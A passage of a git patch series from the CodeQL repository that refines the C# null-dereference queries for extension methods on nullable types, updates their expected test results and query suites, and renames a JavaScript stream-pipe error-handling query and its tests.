access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:409:13:409:21 | ... != ... | this | -| E.cs:12:38:12:39 | access to local variable a2 | E.cs:9:18:9:26 | SSA def(a2) | E.cs:12:38:12:39 | access to local variable a2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:9:18:9:19 | a2 | a2 | E.cs:9:18:9:26 | Int64[][] a2 = ... | this | -| E.cs:14:13:14:14 | access to local variable a3 | E.cs:11:16:11:24 | SSA def(a3) | E.cs:14:13:14:14 | access to local variable a3 | Variable $@ may be null at this access because of $@ assignment. | E.cs:11:16:11:17 | a3 | a3 | E.cs:11:16:11:24 | Int64[] a3 = ... | this | -| E.cs:27:13:27:14 | access to local variable s1 | E.cs:23:13:23:30 | SSA def(s1) | E.cs:27:13:27:14 | access to local variable s1 | Variable $@ may be null at this access because of $@ assignment. | E.cs:19:13:19:14 | s1 | s1 | E.cs:23:13:23:30 | ... = ... | this | -| E.cs:61:13:61:17 | access to local variable slice | E.cs:51:22:51:33 | SSA def(slice) | E.cs:61:13:61:17 | access to local variable slice | Variable $@ may be null at this access because of $@ assignment. | E.cs:51:22:51:26 | slice | slice | E.cs:51:22:51:33 | List slice = ... | this | -| E.cs:73:13:73:15 | access to parameter arr | E.cs:66:40:66:42 | SSA param(arr) | E.cs:73:13:73:15 | access to parameter arr | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:66:40:66:42 | arr | arr | E.cs:70:22:70:32 | ... == ... | this | -| E.cs:112:13:112:16 | access to local variable arr2 | E.cs:107:15:107:25 | SSA def(arr2) | E.cs:112:13:112:16 | access to local variable arr2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:107:15:107:18 | arr2 | arr2 | E.cs:107:15:107:25 | Int32[] arr2 = ... | this | -| E.cs:125:33:125:35 | access to local variable obj | E.cs:137:25:137:34 | SSA def(obj) | E.cs:125:33:125:35 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | E.cs:119:13:119:15 | obj | obj | E.cs:137:25:137:34 | ... = ... | this | -| E.cs:159:13:159:16 | access to local variable obj2 | E.cs:152:16:152:26 | SSA def(obj2) | E.cs:159:13:159:16 | access to local variable obj2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:152:16:152:19 | obj2 | obj2 | E.cs:153:13:153:24 | ... != ... | this | -| E.cs:167:21:167:21 | access to parameter a | E.cs:162:28:162:28 | SSA param(a) | E.cs:167:21:167:21 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:162:28:162:28 | a | a | E.cs:164:17:164:25 | ... == ... | this | -| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this | -| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this | -| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this | -| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this | -| E.cs:192:17:192:17 | access to parameter o | E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:190:29:190:29 | o | o | E.cs:193:17:193:17 | access to parameter o | this | -| E.cs:201:13:201:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this | -| E.cs:203:13:203:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this | -| E.cs:218:9:218:9 | access to local variable x | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:215:13:215:13 | x | x | E.cs:217:13:217:20 | ... = ... | this | -| E.cs:230:9:230:9 | access to local variable x | E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:230:9:230:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:225:13:225:13 | x | x | E.cs:227:13:227:20 | ... = ... | this | -| E.cs:235:16:235:16 | access to parameter i | E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:233:26:233:26 | i | i | E.cs:233:26:233:26 | i | this | -| E.cs:240:21:240:21 | access to parameter i | E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:238:26:238:26 | i | i | E.cs:238:26:238:26 | i | this | -| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this | -| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this | -| E.cs:302:9:302:9 | access to local variable s | E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:301:13:301:13 | s | s | E.cs:301:13:301:27 | String s = ... | this | -| E.cs:343:9:343:9 | access to local variable x | E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:342:13:342:13 | x | x | E.cs:342:13:342:32 | String x = ... | this | -| E.cs:349:9:349:9 | access to local variable x | E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:348:17:348:17 | x | x | E.cs:348:17:348:36 | dynamic x = ... | this | -| E.cs:366:41:366:41 | access to parameter s | E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | Variable $@ may be null at this access because the parameter has a null default value. | E.cs:366:28:366:28 | s | s | E.cs:366:32:366:35 | null | this | -| E.cs:375:20:375:20 | access to local variable s | E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:374:17:374:17 | s | s | E.cs:374:17:374:31 | String s = ... | this | -| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:14:382:23 | ... == ... | this | -| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:44:382:53 | ... != ... | this | -| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:384:13:384:22 | ... == ... | this | -| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:28:382:37 | ... != ... | this | -| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:58:382:67 | ... == ... | this | -| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:384:27:384:36 | ... == ... | this | -| E.cs:417:34:417:34 | access to parameter i | E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:415:27:415:27 | i | i | E.cs:415:27:415:27 | i | this | -| E.cs:423:38:423:38 | access to parameter i | E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:420:27:420:27 | i | i | E.cs:420:27:420:27 | i | this | -| E.cs:430:39:430:39 | access to parameter i | E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:427:27:427:27 | i | i | E.cs:427:27:427:27 | i | this | -| GuardedString.cs:35:31:35:31 | access to local variable s | GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:35:31:35:31 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | GuardedString.cs:7:16:7:16 | s | s | GuardedString.cs:7:16:7:32 | String s = ... | this | -| NullMaybeBad.cs:7:27:7:27 | access to parameter o | NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | Variable $@ may be null at this access because of $@ null argument. | NullMaybeBad.cs:5:25:5:25 | o | o | NullMaybeBad.cs:13:17:13:20 | null | this | -| Params.cs:14:17:14:20 | access to parameter args | Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | Variable $@ may be null at this access because of $@ null argument. | Params.cs:12:36:12:39 | args | args | Params.cs:20:12:20:15 | null | this | -| StringConcatenation.cs:16:17:16:17 | access to local variable s | StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:16:17:16:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | StringConcatenation.cs:14:16:14:16 | s | s | StringConcatenation.cs:14:16:14:23 | String s = ... | this | diff --git a/csharp/ql/test/query-tests/Nullness/options b/csharp/ql/test/query-tests/Nullness/options index ca78c431249..1039aa6de18 100644 --- a/csharp/ql/test/query-tests/Nullness/options +++ b/csharp/ql/test/query-tests/Nullness/options @@ -1,3 +1,4 @@ semmle-extractor-options: /nostdlib /noconfig semmle-extractor-options: --load-sources-from-project:${testdir}/../../resources/stubs/_frameworks/Microsoft.NETCore.App/Microsoft.NETCore.App.csproj -semmle-extractor-options: ${testdir}/../../resources/stubs/Microsoft.VisualStudio.TestTools.UnitTesting.cs \ No newline at end of file +semmle-extractor-options: ${testdir}/../../resources/stubs/Microsoft.VisualStudio.TestTools.UnitTesting.cs +semmle-extractor-options: ${testdir}/../../resources/stubs/Library.cs diff --git a/csharp/ql/test/resources/stubs/Library.cs b/csharp/ql/test/resources/stubs/Library.cs new file mode 100644 index 00000000000..0efffd3f21b --- /dev/null +++ b/csharp/ql/test/resources/stubs/Library.cs @@ -0,0 +1,13 @@ +namespace Library; + +/* + * This file is for making stubs for library methods used for testing purposes. + * The file is located in the stubs folder, because then the code is not + * recognized as being from source. + */ +public static class MyExtensions +{ + public static void Accept(this object o) { } + + public static void AcceptNullable(this object? o) { } +} From 36eab47ab447cde53242eaf7f43e425ee00c4c9a Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 27 May 2025 13:29:43 +0200 Subject: [PATCH 132/271] C#: Do not assume that extension methods on nullable types do unsafe dereference. --- csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll index a990455f430..7e8ed0aadc0 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll @@ -544,8 +544,13 @@ class Dereference extends G::DereferenceableExpr { p.hasExtensionMethodModifier() and not emc.isConditional() | - p.fromSource() // assume all non-source extension methods perform a dereference - implies + // Assume all non-source extension methods on + // (1) nullable types are null-safe + // (2) non-nullable types are doing a dereference. + p.fromLibrary() and + not p.getAnnotatedType().isNullableRefType() + or + p.fromSource() and exists( Ssa::ImplicitParameterDefinition def, AssignableDefinitions::ImplicitParameterDefinition pdef From 7a63c7d2a59a1f4aa177b94a2c6a8f708c6d98f2 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 27 May 2025 13:30:43 +0200 Subject: [PATCH 133/271] C#: Update test expected output. --- csharp/ql/test/query-tests/Nullness/NullAlways.expected | 4 ---- csharp/ql/test/query-tests/Nullness/NullMaybe.expected | 3 --- 2 files changed, 7 deletions(-) diff --git a/csharp/ql/test/query-tests/Nullness/NullAlways.expected b/csharp/ql/test/query-tests/Nullness/NullAlways.expected index 106e64c76c0..e2e594b2e2c 100644 --- a/csharp/ql/test/query-tests/Nullness/NullAlways.expected +++ b/csharp/ql/test/query-tests/Nullness/NullAlways.expected @@ -1,4 +1,3 @@ -#select | A.cs:8:15:8:32 | access to local variable synchronizedAlways | Variable $@ is always null at this dereference. | A.cs:7:16:7:33 | synchronizedAlways | synchronizedAlways | | A.cs:17:9:17:17 | access to local variable arrayNull | Variable $@ is always null at this dereference. | A.cs:16:15:16:23 | arrayNull | arrayNull | | A.cs:31:27:31:37 | access to local variable arrayAccess | Variable $@ is always null at this dereference. | A.cs:26:15:26:25 | arrayAccess | arrayAccess | @@ -40,9 +39,6 @@ | E.cs:405:16:405:16 | access to local variable i | Variable $@ is always null at this dereference. | E.cs:403:14:403:14 | i | i | | E.cs:439:13:439:13 | access to parameter s | Variable $@ is always null at this dereference. | E.cs:435:29:435:29 | s | s | | F.cs:8:9:8:9 | access to local variable o | Variable $@ is always null at this dereference. | F.cs:7:16:7:16 | o | o | -| F.cs:14:9:14:9 | access to local variable o | Variable $@ is always null at this dereference. | F.cs:13:17:13:17 | o | o | | Forwarding.cs:36:31:36:31 | access to local variable s | Variable $@ is always null at this dereference. | Forwarding.cs:7:16:7:16 | s | s | | Forwarding.cs:40:27:40:27 | access to local variable s | Variable $@ is always null at this dereference. | Forwarding.cs:7:16:7:16 | s | s | | NullAlwaysBad.cs:9:30:9:30 | access to parameter s | Variable $@ is always null at this dereference. | NullAlwaysBad.cs:7:29:7:29 | s | s | -testFailures -| F.cs:14:9:14:9 | Variable $@ is always null at this dereference. | Unexpected result: Alert | diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected index 3d4a29673e7..876cde548b6 100644 --- a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected +++ b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected @@ -447,7 +447,6 @@ edges | E.cs:435:29:435:29 | SSA param(s) | E.cs:437:13:437:21 | [true] ... is ... | | E.cs:437:13:437:21 | [true] ... is ... | E.cs:439:13:439:13 | access to parameter s | | F.cs:7:16:7:23 | SSA def(o) | F.cs:8:9:8:9 | access to local variable o | -| F.cs:13:17:13:24 | SSA def(o) | F.cs:14:9:14:9 | access to local variable o | | Forwarding.cs:7:16:7:23 | SSA def(s) | Forwarding.cs:9:13:9:30 | [false] !... | | Forwarding.cs:9:13:9:30 | [false] !... | Forwarding.cs:14:9:17:9 | if (...) ... | | Forwarding.cs:14:9:17:9 | if (...) ... | Forwarding.cs:19:9:22:9 | if (...) ... | @@ -898,8 +897,6 @@ nodes | E.cs:439:13:439:13 | access to parameter s | | F.cs:7:16:7:23 | SSA def(o) | | F.cs:8:9:8:9 | access to local variable o | -| F.cs:13:17:13:24 | SSA def(o) | -| F.cs:14:9:14:9 | access to local variable o | | Forwarding.cs:7:16:7:23 | SSA def(s) | | Forwarding.cs:9:13:9:30 | [false] !... | | Forwarding.cs:14:9:17:9 | if (...) ... | From 77fa45050edf4de4ce4f0170e5cfdd2eae99bf54 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 27 May 2025 14:54:43 +0200 Subject: [PATCH 134/271] C#: Add cs/dereferenced-value-is-always-null and cs/dereferenced-value-may-be-null to the Code Quality suites. --- .../posix/query-suite/csharp-code-quality.qls.expected | 2 ++ csharp/ql/src/CSI/NullAlways.ql | 1 + csharp/ql/src/CSI/NullMaybe.ql | 1 + 3 files changed, 4 insertions(+) diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected index 14934899e0d..21a1e869228 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected @@ -2,6 +2,8 @@ ql/csharp/ql/src/API Abuse/CallToGCCollect.ql ql/csharp/ql/src/API Abuse/FormatInvalid.ql ql/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql ql/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql +ql/csharp/ql/src/CSI/NullAlways.ql +ql/csharp/ql/src/CSI/NullMaybe.ql ql/csharp/ql/src/Dead Code/DeadStoreOfLocal.ql ql/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql ql/csharp/ql/src/Likely Bugs/Collections/ContainerLengthCmpOffByOne.ql diff --git a/csharp/ql/src/CSI/NullAlways.ql b/csharp/ql/src/CSI/NullAlways.ql index e52abdc3cd5..1696f857fde 100644 --- a/csharp/ql/src/CSI/NullAlways.ql +++ b/csharp/ql/src/CSI/NullAlways.ql @@ -9,6 +9,7 @@ * correctness * exceptions * external/cwe/cwe-476 + * quality */ import csharp diff --git a/csharp/ql/src/CSI/NullMaybe.ql b/csharp/ql/src/CSI/NullMaybe.ql index bb886f19929..c69df839958 100644 --- a/csharp/ql/src/CSI/NullMaybe.ql +++ b/csharp/ql/src/CSI/NullMaybe.ql @@ -10,6 +10,7 @@ * correctness * exceptions * external/cwe/cwe-476 + * quality */ import csharp From bc4ff598c30a4563a4048660df2585d94f136539 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 3 Jun 2025 13:24:34 +0200 Subject: [PATCH 135/271] C#: Add change-note. --- .../change-notes/2025-06-03-dereferece-extension-method.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md diff --git a/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md b/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md new file mode 100644 index 00000000000..b12ec9768d5 --- /dev/null +++ b/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The queries `cs/dereferenced-value-is-always-null` and `cs/dereferenced-value-may-be-null` have been improved to reduce false positives. The queries no longer assume that expressions are dereferenced when passed as the receiver (`this` parameter) to extension methods where that parameter is a nullable type. From 8ba1f3f26557a302fe73c9aab5f563bd575d2c7d Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 3 Jun 2025 13:43:45 +0200 Subject: [PATCH 136/271] Update javascript/ql/src/Quality/UnhandledStreamPipe.qhelp Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp index 22c59188408..39de6de477d 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp @@ -14,7 +14,7 @@ In Node.js, calling the pipe() method on a stream without proper er Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors.

    -If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors during the streaming process are properly handled. +If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors emitted by the input stream are properly handled. When multiple pipe() calls are chained, an error handler should be attached before each step of the pipeline.

    From d1869941c298962e97a5b9d2230839bfafefbbf3 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 3 Jun 2025 13:57:10 +0200 Subject: [PATCH 137/271] Renamed `UnhandledStreamPipe.ql` to a better fitting name and ID As a side effect of merge `security-and-quality` does not contain anymore related new query. Co-Authored-By: Asger F <316427+asgerf@users.noreply.github.com> --- .../query-suite/javascript-code-quality.qls.expected | 2 +- .../query-suite/javascript-security-and-quality.qls.expected | 1 - ...dStreamPipe.qhelp => UnhandledErrorInStreamPipeline.qhelp} | 0 ...handledStreamPipe.ql => UnhandledErrorInStreamPipeline.ql} | 4 ++-- .../test/query-tests/Quality/UnhandledStreamPipe/test.qlref | 2 +- 5 files changed, 4 insertions(+), 5 deletions(-) rename javascript/ql/src/Quality/{UnhandledStreamPipe.qhelp => UnhandledErrorInStreamPipeline.qhelp} (100%) rename javascript/ql/src/Quality/{UnhandledStreamPipe.ql => UnhandledErrorInStreamPipeline.ql} (99%) diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected index 4e1662ae786..876b5f25fa2 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected @@ -2,5 +2,5 @@ ql/javascript/ql/src/Declarations/IneffectiveParameterType.ql ql/javascript/ql/src/Expressions/ExprHasNoEffect.ql ql/javascript/ql/src/Expressions/MissingAwait.ql ql/javascript/ql/src/LanguageFeatures/SpuriousArguments.ql -ql/javascript/ql/src/Quality/UnhandledStreamPipe.ql +ql/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql ql/javascript/ql/src/RegExp/RegExpAlwaysMatches.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected index f6532eb9701..eb4acd38e39 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected @@ -80,7 +80,6 @@ ql/javascript/ql/src/NodeJS/InvalidExport.ql ql/javascript/ql/src/NodeJS/MissingExports.ql ql/javascript/ql/src/Performance/PolynomialReDoS.ql ql/javascript/ql/src/Performance/ReDoS.ql -ql/javascript/ql/src/Quality/UnhandledStreamPipe.ql ql/javascript/ql/src/React/DirectStateMutation.ql ql/javascript/ql/src/React/InconsistentStateUpdate.ql ql/javascript/ql/src/React/UnsupportedStateUpdateInLifecycleMethod.ql diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp similarity index 100% rename from javascript/ql/src/Quality/UnhandledStreamPipe.qhelp rename to javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql similarity index 99% rename from javascript/ql/src/Quality/UnhandledStreamPipe.ql rename to javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql index c2e18e9c577..a6142a2e6e7 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql @@ -1,6 +1,6 @@ /** - * @id js/nodejs-stream-pipe-without-error-handling - * @name Node.js stream pipe without error handling + * @id js/unhandled-error-in-stream-pipeline + * @name Unhandled error in stream pipeline * @description Calling `pipe()` on a stream without error handling will drop errors coming from the input stream * @kind problem * @problem.severity warning diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref index 23e2f65bab7..0da7b1900f6 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref @@ -1,2 +1,2 @@ -query: Quality/UnhandledStreamPipe.ql +query: Quality/UnhandledErrorInStreamPipeline.ql postprocess: utils/test/InlineExpectationsTestQuery.ql From 8521c53a408e8cb55574da8132cc7cd3bd7ddeb3 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 3 Jun 2025 14:12:12 +0200 Subject: [PATCH 138/271] Renamed test directory to match the query name Co-Authored-By: Asger F <316427+asgerf@users.noreply.github.com> --- .../UnhandledErrorInStreamPipeline.expected} | 0 .../UnhandledErrorInStreamPipeline.qlref} | 0 .../arktype.js | 0 .../execa.js | 0 .../fizz-pipe.js | 0 .../highland.js | 0 .../langchain.ts | 0 .../ngrx.ts | 0 .../rxjsStreams.js | 0 .../strapi.js | 0 .../test.js | 0 .../tst.js | 0 12 files changed, 0 insertions(+), 0 deletions(-) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe/test.expected => UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected} (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe/test.qlref => UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref} (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/arktype.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/execa.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/fizz-pipe.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/highland.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/langchain.ts (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/ngrx.ts (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/rxjsStreams.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/strapi.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/test.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/tst.js (100%) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts 